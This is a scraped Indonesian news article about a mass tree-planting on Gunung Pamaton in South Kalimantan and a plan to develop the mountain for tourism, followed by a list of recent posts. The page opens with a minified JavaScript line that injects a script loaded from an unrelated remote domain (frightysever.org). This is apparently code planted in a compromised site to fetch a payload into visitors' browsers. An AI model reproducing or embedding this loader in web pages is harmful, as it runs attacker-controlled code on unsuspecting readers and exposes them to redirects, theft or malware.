(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Tanam 7.500 Bibit Pohon di Gunung Pematon, Jadi Destinasi Wisata Jalan ke Puncak Disiapkan


KANALKALIMANTAN.COM, MARTAPURA – Kawasan Gunung Pamaton di Kabupaten Banjar Kalimantan Selatan menjadi salah satu fokus penghijauan.

Gubernur Kalimantan Selatan H Sahbirin Noor bersama masyarakat menanam bibit pohon mahoni, pulai, dan gamal di Gunung Pamaton, Sabtu (30/12/2023) pagi.

Kawasan Gunung Pamaton merupakan areal rehabilitasi Daerah Aliran Sungai (DAS) PT Adaro Indonesia dengan luas 321 hektare. Selain itu, Gunung Pamaton juga menjadi bagian Kawasan Hutan Dengan Tujuan Khusus (KHDTK) milik Universitas Lambung Mangkurat.

Penanaman ini menjadi bagian dari dari penanaman pohon secara serentak di seluruh Indonesia.

Baca juga: Tak Perlu Pergi Jauh, Ini 3 Tempat Berlibur Tahun Baru di Kota Banjarmasin

Kalimantan Selatan menjadi daerah yang jumlah pesertanya terbanyak dengan total 2.500 orang temasuk mahasiswa ULM sebanyak 1,000 orang. Adapun bibit pohon penghijauan yang ditanam sebanyak 7.500.

Gubernur Sahbirin mengatakan, menanam pohon ini bukan hanya penghijauan semata, tetapi juga membangun kembali ekosistem hutan yang mulai berkurang.

“Insya Allah, ketika hutan kita kembali menghijau, maka flora dan fauna akan ikut berkembang dengan baik,” kata Paman Birin.

Paman Birin mengatakan, Gunung Pamaton sempat terbakar pada saat musim kemarau, dengan penghijauan Paman Birin mengajak semua yang berhadir untuk bersama sama merawat lingkungan agar tidak mudah terbakar.

Baca juga: Dua Motor Matic Tabrakan di Kawasan Perkantoran Gubernur Kalsel, Begini Kronologisnya

Menurut Gubernur Kalsel, program Revolusi Hijau yang digagasnya berdampak positif bagi perbaikan lingkungan.

Berdasarkan data Kementerian Lingkungan Hidup dan Kehutanan dalam kurun waktu 2013 hingga 2022, Kalimantan Selatan mampu menurunkan lahan kritis seluas 184.102 hektare dari 642.580 hektare diawal turun menjadi 458.478 hektare.

Progres yang sangat cepat dan memberikan harapan besar terhadap percepatan penurunan lahan kritis di Kalimantan Selatan dan penurunan lahan kritis akan berdampak langsung terhadap perbaikan lingkungan.

“Gerakan Revolusi Hijau yang dicanangkan sejak tahun 2017, memiliki andil signifikan terhadap masifnya penghijauan di Kalimantan Selatan,” katanya.

Berbagai pihak ikut terlibat dalam penanaman pohon, mulai dari jajaran pemerintah pusat dan daerah, TNI, Polri, BUMN, BUMD, pelaku usaha, perguruan tinggi, dan masyarakat.

Baca juga: Cerita Sejarah dari Tugu Nol Kilometer Banjarbaru, Ada Tim Sembilan Penggagas Awal Gunung Apam Menjadi Kota Administratif

Paman Birin berharap, dukungan semua pihak untuk menanam pohon terus dilaksanakan secara berkelanjutan, karena eksistensi Kalsel sebagai paru-paru dunia harus tetap dijaga.

Sementara itu, Dirjen Planologi Kehutanan dan Tata Lingkungan Kementerian Lingkungan Hidup dan Kehutanan Hanif Faisol Nurafiq mengatakan, memasuki musim penghujan seluruh daerah di Indonesia diminta untuk melakukan penanaman secara terus menerus.

Ke depan, Pemprov Kalsel akan menjadikan Gunung Pamaton menjadi destinasi wisata.

“Pemprov Kalsel akan mengaspal jalan menuju puncak gunung Pamaton. Ini juga untuk mengiringi destinasi wisata di Tahura lainya,” katanya.

Baca juga: Safari Politik Ketum Demokrat AHY ke Kalsel, Jumatan di Masjid Jami Sungai Jingah

Kepala Dishut Provinsi Kalsel, Fathimatuzzahra mengatakan, dalam satu bulan terakhir ini melakukan penanaman bekerjasama dengan PT Adaro Indonesia yang rutin dilaksanakan setiap Kamis dan Jumat di kawasan Gunung Pamaton.

Jumlah peserta yang ikut menanam kali ini berjumlah 2. 500 orang. Adapun bibit yang ditanam sebanyak 7.500 terdiri dari mahoni, pulai, dan gamal.

Dikatakanya, ketiga jenis pohon itulah yang mampu tumbuh dengan baik ketika di tanam beberapa tahun lalu di Gunung Pamaton.

Pada kegiatan ini juga diisi dengan penandatanganan komitmen penyelesaian kewajiban Persetujuan Penggunaan Kawasan Hutan (PPKH), penyerahan Surat Keputusan Menteri Lingkungan Hidup dan Kehutanan bagi Green Ambassador. (Kanalkalimantan.com/bie)

Reporter: bie
Editor: kk


Risa

Recent Posts

Sekda Banjar Wakili Bupati di Rapat Paripurna Bahas Raperda Tentang Penanaman Modal

KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More

1 jam ago

Antisipasi Bencana, Ini Pesan Gubenur Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More

2 jam ago

Siap Tarung di Pilkada Kapuas, Mantan Wagub Kalteng Habib Ismail Lamar Nasdem

KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More

3 jam ago

Pj Bupati Kapuas Halalbihalal Bersama Ibu-ibu Pengajian

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More

4 jam ago

Pansus II ke KLHK, Bahas Raperda Pengakuan dan Perlindungan Masyarakat Hukum Adat

KANALKALIMANTAN.COM, KUALA KAPUAS - Panitia Khusus (Pansus) II DPRD Kabupaten Kapuas melakukan kunjungan ke Kementerian… Read More

4 jam ago

Rugikan Negara Rp1,6 Miliar, Kasus Pengemplang Pajak Dilimpahkan ke Kejari Tanbu

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki asal Kabupaten Tanah  Bumbu (Tanbu) Provinsi Kalimantan Selatan (Kalsel) berinisal… Read More

4 jam ago

This website uses cookies.